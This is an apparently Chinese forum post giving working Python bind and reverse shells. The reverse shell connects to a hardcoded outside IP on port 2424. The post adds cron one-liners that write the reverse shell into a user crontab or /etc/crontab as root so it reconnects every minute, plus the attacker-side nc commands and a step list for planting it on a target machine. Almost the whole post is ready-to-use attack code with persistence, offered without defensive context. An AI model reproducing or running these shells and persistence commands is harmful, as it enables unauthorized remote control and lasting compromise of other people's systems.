持续性正向反向python版shell
发布于 4 个月前 阅读权限 无需登录 作者 yb2pin 816 次浏览 来自 知识碎片

正向

from socket import *
import subprocess
import os, threading, sys, time

if __name__ == "__main__":
        server=socket(AF_INET,SOCK_STREAM)
        server.bind(('0.0.0.0',2424)
        server.listen(5)
        print 'waiting for connect'
        talk, addr = server.accept()
        print 'connect from',addr
        proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,
                stdout=talk, stderr=talk, shell=True)

反向

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("52.32.202.242",2424))
os.dup2(s.fileno(),0); 
os.dup2(s.fileno(),1); 
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

一句话形式

写当前用户下的crontab:

(crontab -l;printf "* * * * *  /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"52.32.202.242\",2424));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n")|crontab -

写/etc/crontab:

echo "* * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"52.32.202.242\",2424));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" >> /etc/crontab

crontab 实现持续性

  • crontab -e //编辑
  • */1 * * * * python /root/python_shell_F.py //每分钟运行一次
  • crontab -l //查看

- 正向连接方式:nc ip port[2424]

- 反向连接方式:nc -l -v -p port[2424]


实战步骤

  1. 先在目标机创建python文件或是使用python -c “”
  2. 利用crontab添加自动执行任务
  3. 在攻击机执行连接指令
回到顶部